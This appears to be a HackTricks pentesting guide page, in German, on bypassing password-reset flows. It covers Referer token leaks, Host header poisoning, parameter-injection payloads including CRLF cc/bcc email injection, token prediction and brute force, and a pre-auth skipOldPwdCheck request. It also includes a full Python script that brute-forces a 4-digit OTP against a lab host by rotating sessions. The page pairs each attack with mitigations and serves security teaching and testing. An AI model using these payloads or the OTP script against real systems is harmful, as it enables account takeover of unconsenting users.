Reset/Forgotten Password Bypass

Reading time: 10 minutes

tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks

Password Reset Token Leak Via Referrer

  • Der HTTP referer header kann zu einem leak des Password Reset Tokens führen, wenn es in der URL enthalten ist. Dies kann auftreten, wenn ein Benutzer nach Anforderung eines Password Resets auf einen Link einer Drittanbieter-Website klickt.
  • Impact: Mögliche Account-Übernahme durch Cross-Site Request Forgery (CSRF)-Angriffe.
  • Exploitation: Um zu prüfen, ob ein Password Reset Token im referer header leak't, fordere einen Password Reset für deine E-Mail-Adresse an und klicke auf den bereitgestellten Reset-Link. Ändere dein Passwort nicht sofort. Navigiere stattdessen zu einer Drittanbieter-Website (wie Facebook oder Twitter), während du die Requests mit Burp Suite abfängst. Untersuche die Requests, um zu sehen, ob der referer header das Password Reset Token enthält, da dies sensible Informationen an Dritte offenlegen könnte.
  • References:
  • HackerOne Report 342693
  • HackerOne Report 272379
  • Password Reset Token Leak Article

Password Reset Poisoning

  • Angreifer können den Host header während Password-Reset-Anfragen manipulieren, um den Reset-Link auf eine bösartige Seite zeigen zu lassen.
  • Impact: Führt möglicherweise zur Account-Übernahme durch das Leaken von Reset-Tokens an Angreifer.
  • Mitigation Steps:
  • Validieren Sie den Host header gegen eine Whitelist erlaubter Domains.
  • Verwenden Sie sichere, serverseitige Methoden, um absolute URLs zu generieren.
  • Patch: Use $_SERVER['SERVER_NAME'] to construct password reset URLs instead of $_SERVER['HTTP_HOST'].
  • References:
  • Acunetix Article on Password Reset Poisoning

Password Reset By Manipulating Email Parameter

Angreifer können die Password-Reset-Anfrage manipulieren, indem sie zusätzliche email-Parameter hinzufügen, um den Reset-Link umzuleiten.

  • Fügen Sie die Angreifer-E-Mail als zweiten Parameter mithilfe von & hinzu
php
POST /resetPassword
[...]
email=victim@email.com&email=attacker@email.com
  • Füge attacker email als zweiten Parameter mit %20 hinzu
php
POST /resetPassword
[...]
email=victim@email.com%20email=attacker@email.com
  • Füge attacker email als zweiten Parameter mit | hinzu
php
POST /resetPassword
[...]
email=victim@email.com|email=attacker@email.com
  • Füge die E-Mail des Angreifers als zweiten Parameter per cc hinzu
php
POST /resetPassword
[...]
email="victim@mail.tld%0a%0dcc:attacker@mail.tld"

Füge attacker email als zweiten Parameter mit bcc hinzu

php
POST /resetPassword
[...]
email="victim@mail.tld%0a%0dbcc:attacker@mail.tld"
  • Füge attacker email als zweiten Parameter hinzu, indem du , verwendest
php
POST /resetPassword
[...]
email="victim@mail.tld",email="attacker@mail.tld"

Füge attacker email als zweiten Parameter im json array hinzu

php
POST /resetPassword
[...]
{"email":["victim@mail.tld","atracker@mail.tld"]}

Ändern von E-Mail und Passwort eines beliebigen Nutzers über API-Parameter

  • Angreifer können E-Mail- und Passwortparameter in API-Anfragen manipulieren, um die Zugangsdaten eines Kontos zu ändern.
php
POST /api/changepass
[...]
("form": {"email":"victim@email.tld","password":"12345678"})
  • Gegenmaßnahmen:
  • Stellen Sie strikte Parameter-Validierung und Authentifizierungsprüfungen sicher.
  • Implementieren Sie robustes Logging und Monitoring, um verdächtige Aktivitäten zu erkennen und darauf zu reagieren.
  • Referenz:
  • Full Account Takeover via API Parameter Manipulation

No Rate Limiting: Email Bombing

  • Fehlende Rate-Limiting bei password reset requests kann zu email bombing führen und den Nutzer mit reset emails überfluten.
  • Gegenmaßnahmen:
  • Implementieren Sie Rate-Limiting basierend auf IP-Adresse oder Benutzerkonto.
  • Verwenden Sie CAPTCHA-Challenges, um automatisierten Missbrauch zu verhindern.
  • Referenzen:
  • HackerOne Report 280534

Ermitteln, wie Password Reset Token generiert werden

  • Das Verständnis des Musters oder Verfahrens hinter der Token-Generierung kann dazu führen, Tokens vorherzusagen oder per brute-forcing zu erraten. Einige Optionen:
  • Based Timestamp
  • Based on the UserID
  • Based on email of User
  • Based on Firstname and Lastname
  • Based on Date of Birth
  • Based on Cryptography
  • Gegenmaßnahmen:
  • Verwenden Sie starke, kryptographische Methoden zur Token-Generierung.
  • Stellen Sie ausreichende Zufälligkeit und Länge sicher, um Vorhersehbarkeit zu verhindern.
  • Tools: Verwenden Sie Burp Sequencer, um die Zufälligkeit von Tokens zu analysieren.

Guessable UUID

  • Wenn UUIDs (version 1) erratbar oder vorhersagbar sind, können Angreifer sie per brute-force durchprobieren, um gültige reset tokens zu generieren. Check:

UUID Insecurities

  • Gegenmaßnahmen:
  • Verwenden Sie GUID version 4 für Zufälligkeit oder implementieren Sie zusätzliche Sicherheitsmaßnahmen für andere Versionen.
  • Tools: Verwenden Sie guidtool zum Analysieren und Generieren von GUIDs.

Response Manipulation: Replace Bad Response With Good One

  • Manipulation von HTTP-Antworten, um Fehlermeldungen oder Einschränkungen zu umgehen.
  • Gegenmaßnahmen:
  • Implementieren Sie serverseitige Prüfungen, um die Integrität der Antworten sicherzustellen.
  • Verwenden Sie sichere Kommunikationskanäle wie HTTPS, um Man-in-the-Middle-Angriffe zu verhindern.
  • Referenz:
  • Critical Bug in Live Bug Bounty Event

Using Expired Token

  • Testen, ob abgelaufene Tokens weiterhin für password reset verwendet werden können.
  • Gegenmaßnahmen:
  • Implementieren Sie strikte Ablaufrichtlinien für Tokens und validieren Sie das Token-Ablaufdatum serverseitig.

Brute Force Password Reset Token

  • Versuch, das reset token per brute-force mit Tools wie Burpsuite und IP-Rotator zu erraten, um IP-basierte Rate-Limits zu umgehen.
  • Gegenmaßnahmen:
  • Implementieren Sie robustes Rate-Limiting und Account-Lockout-Mechanismen.
  • Überwachen Sie verdächtige Aktivitäten, die auf Brute-Force-Angriffe hindeuten.

Try Using Your Token

  • Testen, ob das reset token eines Angreifers zusammen mit der E-Mail des Opfers verwendet werden kann.
  • Gegenmaßnahmen:
  • Stellen Sie sicher, dass Tokens an die Benutzersession oder andere benutzerspezifische Attribute gebunden sind.

Session Invalidation in Logout/Password Reset

  • Sicherstellen, dass Sessions invalidiert werden, wenn ein Benutzer ausloggt oder sein Passwort zurücksetzt.
  • Gegenmaßnahmen:
  • Implementieren Sie korrektes Session-Management und stellen Sie sicher, dass alle Sessions beim Logout oder password reset invalidiert werden.

Session Invalidation in Logout/Password Reset

  • Reset tokens sollten eine Ablaufzeit haben, nach der sie ungültig werden.
  • Gegenmaßnahmen:
  • Setzen Sie eine angemessene Ablaufzeit für Reset-Tokens und erzwingen Sie diese strikt serverseitig.

OTP rate limit bypass by changing your session

  • Wenn die Website die Benutzersession verwendet, um falsche OTP-Versuche zu verfolgen und das OTP schwach ist (<= 4 digits), kann das OTP effektiv per brute-force erraten werden.
  • Ausnutzung:
  • Fordern Sie einfach ein neues Session-Token an, nachdem Sie vom Server blockiert wurden.
  • Beispiel code, der diesen Bug ausnutzt, indem er das OTP zufällig errät (wenn Sie die Session ändern, ändert sich auch das OTP, und daher können wir es nicht sequentiell brute-forcen!):
python
# Authentication bypass by password reset
# by coderMohammed
import requests
import random
from time import sleep

headers = {
"User-Agent": "Mozilla/5.0 (iPhone14,3; U; CPU iPhone OS 15_0 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) Version/10.0 Mobile/19A346 Safari/602.1",
"Cookie": "PHPSESSID=mrerfjsol4t2ags5ihvvb632ea"
}
url = "http://10.10.12.231:1337/reset_password.php"
logout = "http://10.10.12.231:1337/logout.php"
root = "http://10.10.12.231:1337/"

parms = dict()
ter = 0
phpsessid = ""

print("[+] Starting attack!")
sleep(3)
print("[+] This might take around 5 minutes to finish!")

try:
while True:
parms["recovery_code"] = f"{random.randint(0, 9999):04}" # random number from 0 - 9999 with 4 d
parms["s"] = 164 # not important it only efects the frontend
res = requests.post(url, data=parms, allow_redirects=True, verify=False, headers=headers)

if ter == 8: # follow number of trails
out = requests.get(logout,headers=headers) # log u out
mainp = requests.get(root) # gets another phpssid (token)

cookies = out.cookies # extract the sessionid
phpsessid = cookies.get('PHPSESSID')
headers["cookies"]=f"PHPSESSID={phpsessid}" #update the headers with new session

reset = requests.post(url, data={"email":"tester@hammer.thm"}, allow_redirects=True, verify=False, headers=headers) # sends the email to change the password for
ter = 0 # reset ter so we get a new session after 8 trails
else:
ter += 1
if(len(res.text) == 2292): # this is the length of the page when u get the recovery code correctly (got by testing)
print(len(res.text)) # for debug info
print(phpsessid)

reset_data = { # here we will change the password to somthing new
"new_password": "D37djkamd!",
"confirm_password": "D37djkamd!"
}
reset2 = requests.post(url, data=reset_data, allow_redirects=True, verify=False, headers=headers)

print("[+] Password has been changed to:D37djkamd!")
break
except Exception as e:
print("[+] Attck stopped")

Arbitrary password reset via skipOldPwdCheck (pre-auth)

Einige Implementierungen exponieren eine password change action, die die password-change-Routine mit skipOldPwdCheck=true aufruft und keinen reset token oder Besitz verifiziert. Wenn der Endpoint einen action-Parameter wie change_password und einen username/new password im Request-Body akzeptiert, kann ein Angreifer beliebige Accounts pre-auth zurücksetzen.

Vulnerable pattern (PHP):

php
// hub/rpwd.php
RequestHandler::validateCSRFToken();
$RP = new RecoverPwd();
$RP->process($_REQUEST, $_POST);

// modules/Users/RecoverPwd.php
if ($request['action'] == 'change_password') {
$body = $this->displayChangePwd($smarty, $post['user_name'], $post['confirm_new_password']);
}

public function displayChangePwd($smarty, $username, $newpwd) {
$current_user = CRMEntity::getInstance('Users');
$current_user->id = $current_user->retrieve_user_id($username);
// ... criteria checks omitted ...
$current_user->change_password('oldpwd', $_POST['confirm_new_password'], true, true); // skipOldPwdCheck=true
emptyUserAuthtokenKey($this->user_auth_token_type, $current_user->id);
}

Exploitation-Anfrage (Konzept):

http
POST /hub/rpwd.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded

action=change_password&user_name=admin&confirm_new_password=NewP@ssw0rd!

Gegenmaßnahmen:

  • Fordere immer ein gültiges, zeitlich begrenztes reset token, das an das account und die session gebunden ist, bevor ein password geändert wird.
  • Gib skipOldPwdCheck paths niemals für unauthenticated users frei; erzwinge authentication für reguläre password-Änderungen und überprüfe das old password.
  • Mache nach einer password-Änderung alle aktiven sessions und reset tokens ungültig.

Referenzen

tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks